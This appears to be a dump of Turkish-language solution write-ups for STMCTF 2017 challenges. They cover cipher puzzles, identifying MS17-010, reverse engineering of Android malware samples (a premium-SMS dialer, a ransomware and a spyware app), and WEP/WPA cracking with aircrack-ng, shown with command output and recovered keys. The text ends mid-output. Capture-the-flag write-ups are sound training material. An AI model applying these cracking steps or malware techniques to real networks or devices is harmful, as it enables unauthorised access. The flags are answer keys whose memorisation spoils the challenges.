https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/NURELLA/nur3.png
--------------------------------------------------------------------------------
/MISC/OokYasa/09f16d5a13fcbeeedf6d6f3e5b8824bc.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/OokYasa/09f16d5a13fcbeeedf6d6f3e5b8824bc.zip
--------------------------------------------------------------------------------
/MISC/OokYasa/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Zafiyeti Bul
3 |
4 | ## Soru Metni:
5 | 09f16d5a13fcbeeedf6d6f3e5b8824bc.zip
6 |
7 | ## Çözüm:
8 |
9 | 1. Verilen metin http://www.dcode.fr/ook-language benzeri bir site yardımıyla düz metin’e çevrildiğinde şu sonuç çıkar: STMCTF{ook_is_a_cool_language}.
10 |
11 | 
12 |
13 |
14 | 2. Panele girilmesi gereken değer: MD5(STMCTF{ook_is_a_cool_language})= 2FACDA7E08562E6F51B74A62018E6C12
15 |
--------------------------------------------------------------------------------
/MISC/OokYasa/ook1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/OokYasa/ook1.png
--------------------------------------------------------------------------------
/MISC/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/MISC/SatirSutun/18f93631294fd8aebd1b57484e511bf6.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/SatirSutun/18f93631294fd8aebd1b57484e511bf6.zip
--------------------------------------------------------------------------------
/MISC/SatirSutun/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: Satır - Sütun
2 |
3 | ## Soru Metni:
4 | 27.08.2011 tarihli Old School Emulation Center (TOSEC) Naming Convention PDF dosyasının Dördüncü sayfanın, yedinci satırının, onbirinci kelimesinin, ikinci harfi O'dur. O zaman bu nedir?
5 | ```
6 | STMCTF{12010101120202022501010301020203010202021901020126010402250201011701040222020204010101032001010425020403260301091705050425031104}
7 | ```
8 | ## Çözüm:
9 |
10 | 1. 18f93631294fd8aebd1b57484e511bf6.zip icerisinden icerisinden tnc_v2011-08-27.pdf dosyasi cikmaktadir.
11 |
12 | 2. Soruda Old School Emulation Center (TOSEC) Naming Convention PDF dosyasının (tnc_v2011-08-27.pdf) sayfa, satir, kelime ve harf olarak tarifi ile O harfinin yeri tarif edilmektedir. PDF dokümandan sorudaki O harfi bulunduktan sonra, basliklarin da satir olarak sayildigi anlasilmaktadir. Sayfa - Satır - Kelime - Harf olarak düzenlenmiş.
13 |
14 | 3. PDF kitap 26 sayfa olunca her bir bölümün 2 rakam ile ifade edileceği düşünülebilir. Bu nedenle rakamları ayrabilmek gerekiyor. Sayfa (2) - Satır (2) - Kelime (2) - Harf (2) = 8 rakam. Elde bulunan sayı grubu 8'li sayı gruplarına bolunur.
15 |
16 | ```
17 | 12010101
18 | 12020202
19 | 25010103
20 | 01020203
21 | 01020202
22 | 19010201
23 | 26010402
24 | 25020101
25 | 17010402
26 | 22020204
27 | 01010103
28 | 20010104
29 | 25020403
30 | 26030109
31 | 17050504
32 | 25031104
33 | ```
34 |
35 | 4. Bu grubu da 2'li sayı gruplarına bolunur.
36 | ```
37 | Sayfa - Satır - Kelime - Harf
38 | 12 01 01 01
39 | 12 02 02 02
40 | 25 01 01 03
41 | 01 02 02 03
42 | 01 02 02 02
43 | 19 01 02 01
44 | 26 01 04 02
45 | 25 02 01 01
46 | 17 01 04 02
47 | 22 02 02 04
48 | 01 01 01 03
49 | 20 01 01 04
50 | 25 02 04 03
51 | 26 03 01 09
52 | 17 05 05 04
53 | 25 03 11 04
54 | ```
55 |
56 | 5. 12'nci Sayfanın, 01'inci Satırının, 01'inci Kelimesinin, 01'inci harfi B'dir.
57 |
58 | ```
59 | 12 01 01 01 B
60 | 12 02 02 02 u
61 | 25 01 01 03 l
62 | 01 02 02 03 m
63 | 01 02 02 02 a
64 | 19 01 02 01 c
65 | 26 01 04 02 a
66 | 25 02 01 01 T
67 | 17 01 04 02 a
68 | 22 02 02 04 m
69 | 01 01 01 03 S
70 | 20 01 01 04 e
71 | 25 02 04 03 n
72 | 26 03 01 09 l
73 | 17 05 05 04 i
74 | 25 03 11 04 k
75 | ```
76 |
77 | Son harfin bulunusu ornek olarak verilmistir.
78 | 
79 |
80 |
81 | 6. Tüm harfler çıkınca flag BulmacaTamSenlik olarak çıkıyor. Soruda da STMCTF{} arasına rakamlar koyulduğu için flag STMCTF{BulmacaTamSenlik} olarak bulunur.
82 |
--------------------------------------------------------------------------------
/MISC/SatirSutun/satirsutun.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/SatirSutun/satirsutun.png
--------------------------------------------------------------------------------
/MISC/ZafiyetiBul/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Zafiyeti Bul
3 |
4 | ## Soru Metni:
5 |
6 | @areyouaresearcher’daki exploit kodu dünya çapında etki yaratan hangi güvenlik açığının kodudur?
7 |
8 | ## Çözüm:
9 |
10 | 1. @areyouaresearcher’daki exploit kodunun hangi güvenlik açığının kodu olduğu soruluyordu. Burada ilk olarak @areyouaresearcher hesabını internet üzerinden bulmak gerekiyordu. Hesap kod paylaşım platformu olan Github’da bulunmaktaydı.
11 |
12 | 
13 |
14 | 2. Github üzerinde bulunan @areyouaresearcher hesabında ctf17.py kodunu okuyarak exploit kodunun hangi güvenlik açığına karşı yazıldığını bulmak gerekmekteydi.
15 |
16 | 
17 |
18 | 3. Kod Google üzerinde de araştırıldığı taktirde MS17-010 kodlu zafiyet için yazıldığı bulunabilirdi.
19 | 
20 |
21 | Bulunan zafiyet STMCTF bayrak formatına göre md5 değeri bulunur.
22 |
23 | $echo -n 'STMCTF{MS17-010}' | md5sum
24 |
25 | aa69084aa15efe4cfc5d8053ec918a3f
26 |
27 |
--------------------------------------------------------------------------------
/MISC/ZafiyetiBul/zaf1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/ZafiyetiBul/zaf1.png
--------------------------------------------------------------------------------
/MISC/ZafiyetiBul/zaf2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/ZafiyetiBul/zaf2.png
--------------------------------------------------------------------------------
/MISC/ZafiyetiBul/zaf3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/ZafiyetiBul/zaf3.png
--------------------------------------------------------------------------------
/MOB/Matrix/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: Matrix
4 |
5 | ## Soru Metni:
6 |
7 | Gerçek sandığın spotify uygulaması aslında bir zararlı ve senin rehberine senden habersiz hiç tanımadığın bir ajanın numarasını kaydediyor. Ajanın ismini bul SHA256 ile hashle bulduğun değer flag.zip dosyasının parolası. Hadi durma flag seni bekliyor.
8 |
9 | ## Çözüm:
10 |
11 | Verilen calculator.apk dosyası apktool aracı ile disassamble edilir. AndroidManifest.xml dosyası detaylı olarak incelenir.
12 | Permissionlar incelenir. Bir hesap makinası uygulaması için çok sayıda ve gereksiz izin talep ettiği farkedilir. Özellikle RECEIVE_BOOT_COMPLETED izni şüphelidir. Hangi BroadcastReceiverı aktive ettiği aranır ve tespit edilir.
13 |
14 | 
15 |
16 | BOOT_COMPLETED ile tetiklenen Receiver sınıfının com.spotfy.music.songReceiver
17 | olduğu anlaşılır.
18 |
19 | 2. Calculator.apk dosyası unzip edilir, classes.dex dosyasına ulaşılır.
20 |
21 |
22 | 3. Classes.dex dosyası sırasıyla dex2jar + JDGUI araçlarıyla kaynak koda dönüştürülür.
23 |
24 | 4. sonReceiver sınıfının kaynak kodu detaylı incelendiğinde şunlar farkedilir.
25 | getString() fonksyonu kullanılmıştır. Bu fonksyon Strings.xml dosyasından bir değer okumak için kullanılan bir fonksyondur. Ayrıca daha sonra String.xml dosyasından elde edilen değerin bir DownloadManager sınıfı objesinin Request() fonksyonuna parametre olarak gönderildiği anlaşılır. ki Uri.parse(….) kullanımı da göz önüne alındığında girilen argümanın bir URL adresi olduğu anlaşılır.
26 |
27 | 
28 |
29 | 5. Bu noktadan sonra String.xml dosyasında anlamlı bir URL adresi aranmaya başlanır.
30 | Aramaların çoğunda zararlı repackage edildiğinden çeşitli resmi spotify subdomain adresleriyle karşılaşılır ancak son noktada;
31 | http://dpaste.com/3QMJVWN.txt adresi bulunmuş olur.
32 |
33 | 
34 |
35 | 6. Bahsi geçen adrese gidildiğinde aranan değerin Smith olduğu bulunur.
36 |
37 | 7. Smith değerinin SHA256 değeri alınıp flag.zip dosyasının parolası bulunur.
38 |
39 | 8. Flag değerinin STMCTF{what_is_matrix} olduğu anlaşılır
40 |
--------------------------------------------------------------------------------
/MOB/Matrix/flag.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Matrix/flag.zip
--------------------------------------------------------------------------------
/MOB/Matrix/mat1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Matrix/mat1.png
--------------------------------------------------------------------------------
/MOB/Matrix/mat2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Matrix/mat2.png
--------------------------------------------------------------------------------
/MOB/Matrix/mat3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Matrix/mat3.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/6c7235643de4bebd2a10820a3b7853f6.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/6c7235643de4bebd2a10820a3b7853f6.zip
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: PREMIUM-NUMBER
4 |
5 | ## Soru Metni:
6 |
7 | Verilen Satranç programının aslında Premium numaralara sürekli SMS atan bir
8 | Dialer tipi zararlı olduğu ay sonu gelen kabarık faturadan anlaşılmakta.
9 | Senin görevin bu numarayı bulmak. Bu sayede yetkili mercilere gerekli şikayeti
10 | yapabileceğiz.
11 |
12 | Flag'in ise soruda verilen Flag.zip dosyasının içinde saklı. Boşuna Brute force yapmaya çalışma zaman yetmiyor biz denedik :) Bunun yerine uygulama içinden tespit ettiğin telefon numarasının SHA256 hashini al. İşte burdan elde edeceğin sonuç seni flagine kavuşturacak parolan olacak.
13 | 6c7235643de4bebd2a10820a3b7853f6.zip
14 |
15 |
16 | ## Çözüm:
17 | 1. Chess.apk dosyası verilmiş, içinde zararlı kod barındırdığı belirtilmiştir. Öncelikte uygulama dosyasının unzip edilip binary kodları barındıran classes.dex dosyasına erişilmesi gerekir. Classes.dex dosyasını daha sonra kullanmak üzere kenarda tutalım.
18 |
19 | 
20 |
21 | 2. Bu aşamada Chess.apk dosyası apktool aracı’nın d opsyonu ile disassemle edilir ve okunabilir AndroidManifest dosyasına erişilir.
22 |
23 |
24 | apktool d chess.apk
25 |
26 |
27 | 
28 |
29 | 3. AndoidManifest.xml dosyası incelenir.Dikkat edilmesi gereken noktalar izinler, aktiviteler, receiverlar ve intentlerdir.Bu noktada izinler incelendiğinde RECEIVE_BOOT_COMPLETED izninin oldukça şüpheli olduğu görülür.Aşağıya inip Receiverlar incelendiğinde bu broadcasti zlab.stm.com.premiumnor1.chessReceiver isimli sınıfının dinlediği anlaşılır. Bir diğer şüpheli sınıfımız da hemen alttında yer alan zlab.stm.com.premiumnor1.chessService isimli service bileşenidir.
30 |
31 | 
32 |
33 | 4. Sıra ilk aşamada extract ettiğimiz classes.dex dosyasını tersine mühendislik yöntemiyle kaynak koduna döndürme aşamasına gelmiştir.Bu amaç için dex2jar+JDGUI ikilisi açık kaynak çözümler olarak tercih edilebilir.
34 |
35 |
36 | sh d2j-dex2jar.sh classes.dex
37 |
38 |
39 | 5. Kaynak kodu incelediğimizde chessReceiver sınıfının BOOT_COMPLETED Broadcastini alır almaz arka planda çalışacak olan chessService sınıfını çağırdını anlarız. Bu durumda ilgi odağımızı chessService sınıfına çeviririz.
40 |
41 |
42 |
43 | 6. ChessService sınıfını incelediğimizde şüpheli bir reflection çağrısıyla karşılaşırız.Reflection yapısını detaylı incelediğimizde ismi maskelenmiş bir sınıfın ve ismi maskelenmiş bir methodunun çağrıldığını görürüz.
44 | 
45 |
46 |
47 | 7. Bu noktada Runtime’da kullanılan class’ın isminin str2, bu classa ait methodun isminin ise str3 olduğunu gözlemleriz. Ayrıca bu methodun str1 argümanıyla çağrıldığını anlarız. Bu noktadan itibaren sıra bu dizgelerin ne olduğunu çözmeye gelir.
48 |
49 | 
50 |
51 | str2 ve str3 dizgelerinin çalışma zamanında functionFoo isimli fonkyonun çalıştırılması sonucunda elde edildiği anlaşılmaktadır. FunctionFoo() fonkyonunu gidip incelemeye alırız.
52 | Kaynak kodu inceleyip anladığımızda aslında fonksyonun bir Ceaser Cipher olduğu anlaşılmaktadır.Cipher’ın girdilerini decipher ettiğimizde karşımıza çıkan 2 değer;
53 | android.telephony.SmsManager
54 | sendTextMessage
55 | dizgeleridir. Bu sınıf ve metodun SMS text message atmak için kullanılan sınıf ve o sınıfa ait method olduklarını anlarız. Methodun imzasını incelediğimizde aldığı argümanlardan birinin SMS göndereceği telefon numarası olduğu anlaşılmaktadır.O halde str1 dizgesi aradığımız gizli bilgi olan premium number değerinin kendisi olduğu anlaşılmaktadır.
56 |
57 | 
58 |
59 | 8. str1 dizgesinin nasıl elde edildiğine döndüğümüzde aşağıdaki reklendirilmiş satırla karşılaşırız;
60 | Sırasıyla “” içinde verilen dizgenin get() fonksyonundan gelen değerle Encrption fonkyonuna sokulduğu, çıkan değerin de Base64Decoder fonkyonuna girdi olarak girdiğini görürüz.
61 |
62 | 
63 |
64 | 9. get()fonksyonuna gidip baktığımızda assets folderından .txt uzantılı bir dosyayı okuduğunu anlarız.Dosyayı gidip okuduğumuzda bu değerin EncryptionFunc() dosyasının anahtar değeri olduğu anlaşılır.
65 |
66 | 
67 |
68 | Anahtar değer;
69 | 17 adet sıfır değerinin ardından da STM harfleridir
70 |
71 | 
72 |
73 | 10. Sıra bu anahtar değerin ve anlamsızlaştırılmış dizgenin EncrptionFunc() fonksyonu içinde nasıl işlendiğini anlamaya gelir. Aşağıdaki fonkyon detaylı incelendiğinde basit bir XOR işlemi yapıldığı anlaşılır. Fonksyon bilinen 2 değerle çalıştırılır, çıktı elde edilir.
74 |
75 | 
76 |
77 | 11. Elde edilen çıktı son olarak da aşağı da gösterilen Base64Decoder() fonkyonuna gönderilir.
78 |
79 | 
80 |
81 | 12. Fonkyon sembolik veya gerçek olarak çalıştırıp bakıldığında;
82 | 3805052939136 numaralı telefona ulaşılır ki SMS gönderilen telefon numarasının bu olduğu anlaşılır.
83 |
84 | 13. Bu değerin 256 Hash değeri alındığında flagi içeren dosyanın parolası bulunur.
85 |
86 | echo -n "3805052939136" | sha256sum
87 | bab8773e366b559fcf2053403b92b67c1465ed0fe6cca529786c95ba61ed4deb
88 |
89 | 14. Elde edilen parola ile .zip dosyası açılır.
90 |
91 | 15. zip dosyasının içinden ulaşılan STMCTF{Tisikkirler_superman} flag değerinin MD5 hash değeri alınarak nihai sonuç elde edilir.
92 |
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/flag.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/flag.zip
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem1.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem10.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem11.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem2.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem3.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem4.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem5.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem6.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem7.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem8.png
--------------------------------------------------------------------------------
/MOB/PREMIUM-NUMBER/prem9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem9.png
--------------------------------------------------------------------------------
/MOB/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/MOB/Ransomware/4113c0e5a8ed4bc8e81f8dbcf8beeef5.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Ransomware/4113c0e5a8ed4bc8e81f8dbcf8beeef5.zip
--------------------------------------------------------------------------------
/MOB/Ransomware/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: RANSOMWARE
3 |
4 | ## Soru Metni:
5 |
6 | Verilen Hesap makinası uygulamasına gizlenmiş olan Ransomware uygulaması telefon üzerindeki bütün verileri şifreleyip senden fidye talep etmekte. Fakat zararlı yazılımın kodlayıcıları bir hata yapmış ve sürekli aynı şifreleme anahtarını kullanmışlar. Bakalım uygulamayı analiz edip bu anahtarı bulabilecek misin. Not: Anahtarı bulduktan sonra SHA256 hash’ini al. Bu senin flag.zip dosyanın parolası olacaktır.
7 |
8 | ## Çözüm:
9 |
10 | 1.Verilen calculator.apk dosyası apktool aracı ile disassamble edilir.
11 | AndroidManifest.xml dosyası detaylı olarak incelenir.
12 | a) Permissionlar incelenir. Bir hesap makinası uygulaması için çok sayıda ve gereksiz izin talep ettiği farkedilir. Özellikle RECEIVE_BOOT_COMPLETED izni şüphelidir:
13 | b) Hangi BroadcastReceiverı aktive ettiği aranır ve tespit edilir:
14 |
15 | 2.Calculator.apk dosyası unzip edilir, classes.dex dosyasına ulaşılır.
16 | 3.Classes.dex dosyası sırasıyla dex2jar + JDGUI araçlarıyla kaynak koda dönüştürülür.
17 | 4.advransomReceiver sınıfının arka planda çalışan advransomService sınıfını aktive ettiği anlaşılır. Ayrıca bu çağrıdan hemen önce downloadMaliciousAPK() fonksyonun da çağrıldığı görülür. Fonkyonun isminden zararlı bir davranış sergilediği anlaşılır.
18 |
19 | 
20 |
21 | 5.Bu noktada soru 2 şekilde de çözülebilir. Ya uygulama dinamik olarak çalıştırıp gerekli Broadcast ile tetiklenip zararlı yeni .apk uygulama dosyasının indirilmesi sağlanır veya herhangi bir obfuscation kullanılmadığından direkt olarak koda harcoded olarak gömülmüş URL adresine gidilir ve zararlı .apk download edilir.
22 | 6.Biz çözümünüzü direkt URL adresine gidip zararlı .apk’yı indirme üzerine yapacağız.
23 | 7. İndirilen .apk dosyasını yukarıdaki süreçlere benzer şekilde reverse ve disassamble ettiğimizde aşağıdaki kaynak kodla karşılaşırız. Kaynak kodu detaylı incelediğimizde renklendirilmiş URL adresinden bahsi geçen anahtar değerinin indirildiğini anlarız.
24 |
25 | 
26 |
27 |
28 | 8.URL adresine gittiğimizde aşağıdaki anahtar değerini bulmuş oluruz.
29 |
30 | 9.Elde edilen dizgeyi SHA256 hash fonksyonuna soktuğumuzda flag’i içeren zip dosyasının parolasını elde etmiş oluruz.
31 |
32 | 10.Bu parolayla flag.zip dosyasını açarız.
33 |
34 | 11.zip dosyasından çıkan flag değerimiz STMCTF{simdi_decryption_zamani} dir. Bu dizgenin de MD5 hash değeri alınarak panele girilir.
35 |
--------------------------------------------------------------------------------
/MOB/Ransomware/flag.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Ransomware/flag.zip
--------------------------------------------------------------------------------
/MOB/Ransomware/ran1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Ransomware/ran1.png
--------------------------------------------------------------------------------
/MOB/Ransomware/ran2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Ransomware/ran2.png
--------------------------------------------------------------------------------
/MOB/TombulKus/6b6251894b1f2922d9860b9c4e99e7d5.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/TombulKus/6b6251894b1f2922d9860b9c4e99e7d5.zip
--------------------------------------------------------------------------------
/MOB/TombulKus/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: Tombul Kuş
4 |
5 | ## Soru Metni:
6 |
7 | Biz yükledik, oynadık; çok eğlendik. Ama ne kadar zıplarsan zıpla, bulamayacaksın.
8 |
9 | ## Çözüm:
10 | 1. Apk’yı decompile edip kodu incelediğimizde flag’in 200 parça halinde png dosyalarından oluştuğu anlaşılıyor.
11 |
12 | 
13 |
14 | 2. Assets/flag dizininde png dosyalarını görüyoruz.
15 |
16 | 
17 |
18 |
19 | 3. Resimleri yatay olarak birleştirince flag elde ediliyor. Bu işlem için convert komutu +append parametresi ile kullanılabilir.
20 |
21 | 
22 |
--------------------------------------------------------------------------------
/MOB/TombulKus/tombul1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/TombulKus/tombul1.png
--------------------------------------------------------------------------------
/MOB/TombulKus/tombul2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/TombulKus/tombul2.png
--------------------------------------------------------------------------------
/MOB/TombulKus/tombul3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/TombulKus/tombul3.png
--------------------------------------------------------------------------------
/MOB/freewifi/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Free WiFi
3 |
4 | ## Soru Metni:
5 | Evdeki eski Pentium 1.3 GHz dizüstü bilgisayarı elden çıkardıktan sonra kablosuz modem ayarlarını tekrar ayarladım. Güvensiz kablosuz bağlantım artık daha güvenli. Komşunun hacker kuzeni de sözde bana not bırakmış, imkanı yok şifremi kırmış olamaz, şifrem 10 karakterden fazla.
6 |
7 |
8 | ## Çözüm:
9 | 1. bbc0482305844d0c031df0c082cc5d2e.zip icerisinden l ve n isimli iki adet dosya cikiyor.
10 |
11 | 2. Dosyaların sıkıştırılmış olduğu görülüyor.
12 | ```
13 | l: 7-zip archive data, version 0.4
14 | n: gzip compressed data, last modified: Sun Sep 10 13:21:15 2017, max compression, from Unix
15 | ```
16 |
17 | 3. 7-zip için
18 | ```
19 | 7za e l
20 | ```
21 | içerisinden evimKat1.tiff isimli dosya çıkıyor.
22 |
23 | gzip için
24 | ```
25 | tar zxvf n
26 | ```
27 | içerisinden evimKat1.jpg isimli dosya çıkıyor.
28 |
29 | 4. evimKat1 isimli dosya tipleri kontrol edildiğinde pcap dosyası olduğu görülüyor.
30 | ```
31 | evimKat1.png: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535)
32 | evimKat1.tiff: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535)
33 | ```
34 |
35 | 5. Soru WiFi dediği için zaman kaybetmeden aircrack ile her iki dosyayi deniyoruz.
36 |
37 | ```
38 | > aircrack-ng evimKat1.png
39 | Opening evimKat1.png
40 | Read 1609958 packets.
41 |
42 | # BSSID ESSID Encryption
43 |
44 | 1 00:12:BF:5A:F7:B7 evimKat1 WEP (766940 IVs)
45 |
46 | Choosing first network as target.
47 | Opening evimKat1.png
48 | Attack will be restarted every 5000 captured ivs.
49 | Starting PTW attack with 766940 ivs.
50 |
51 | Aircrack-ng 1.2 rc4
52 | [00:00:04] Tested 1009515 keys (got 766940 IVs)
53 | KB depth byte(vote)
54 | 0 0/ 1 38(1056768) DD(806912) 01(802048) A5(799744) 42(799488) B0(794624) 37(793088)
55 | 1 0/ 1 75(1029120) 53(805888) EB(805888) D6(801792) 49(799744) AA(797696) 92(795392)
56 | 2 0/ 1 2A(1014528) E2(803584) 67(800256) 64(799488) 1A(797696) A2(796160) E5(793088)
57 | 3 0/ 1 46(1039616) CF(798976) 84(797184) E6(795136) CA(793856) 6E(792832) D1(792576)
58 | 4 0/ 1 31(1004544) 3F(806400) 8D(805888) FD(799488) A1(798208) 1E(794368) 43(792320)
59 | 5 0/ 1 34(1029632) 6E(803072) B5(797184) 49(796928) D7(795904) A9(795392) AD(794112)
60 | 6 0/ 1 67(1009408) FB(810240) B8(805376) 13(803328) B2(801024) 8A(800768) D8(797440)
61 | 7 0/ 1 2A(1017600) 5D(807680) E6(796160) 6F(792320) B3(791808) 12(789248) 38(788736)
62 | 8 0/ 1 44(960768) 85(802304) 19(798464) 97(798464) 94(796928) 81(796672) 0E(795392)
63 | 9 0/ 1 65(973568) 08(794880) 37(794880) 0A(794624) C5(794624) 7E(793600) 40(790528)
64 | 10 0/ 1 F2(803584) 20(802816) 2F(799232) FC(797184) 6B(796928) CE(796928) 2D(796672)
65 | 11 0/ 1 6F(805632) 1E(797184) 58(795648) 6B(795136) 28(794880) 45(794368) 72(793856)
66 | 12 0/ 16 7E(812748) B8(810680) 8D(809696) 9D(798488) 08(795428) F9(792180) F2(790904)
67 |
68 | KEY FOUND! [ 38:75:2A:46:31:34:67:2A:44:65:67:69:6C ] (ASCII: 8u*F14g*Degil )
69 | Decrypted correctly: 100%
70 |
71 | > aircrack-ng evimKat1.tiff
72 | Opening evimKat1.tiff
73 | Read 1790738 packets.
74 |
75 | # BSSID ESSID Encryption
76 |
77 | 1 00:12:BF:5A:F7:B7 evimKat1 WPA (1 handshake)
78 |
79 | Choosing first network as target.
80 |
81 | Opening evimKat1.tiff
82 | Please specify a dictionary (option -w).
83 | Quitting aircrack-ng...
84 | ```
85 |
86 | 6. Soruda kişinin ağ ayarlarında sıkılaştırma yaptığı anlaşılıyor. Yani WEP den WPA ya geçmiş. Belki aynı şifreyi kullanıyordur. Bir dosya içerisine bulduğumuz 8u*F14g*Degil şifreyi yazıp WPA kırma işlemini tekrar yapıyoruz.
87 | NOT: Yarışmacı burada ele geçirdiği evimKat1.png isimli WEP trafiğini inceleyebilir. Burada bulabileceği bir başka ipucu bulunmamaktadır.
88 |
89 | ```
90 | > cat dictionary
91 | 8u*F14g*Degil
92 |
93 | > aircrack-ng -w dictionary evimKat1.tiff
94 | Opening evimKat1.tiff
95 | Read 1790738 packets.
96 |
97 | # BSSID ESSID Encryption
98 |
99 | 1 00:12:BF:5A:F7:B7 evimKat1 WPA (1 handshake)
100 |
101 | Choosing first network as target.
102 |
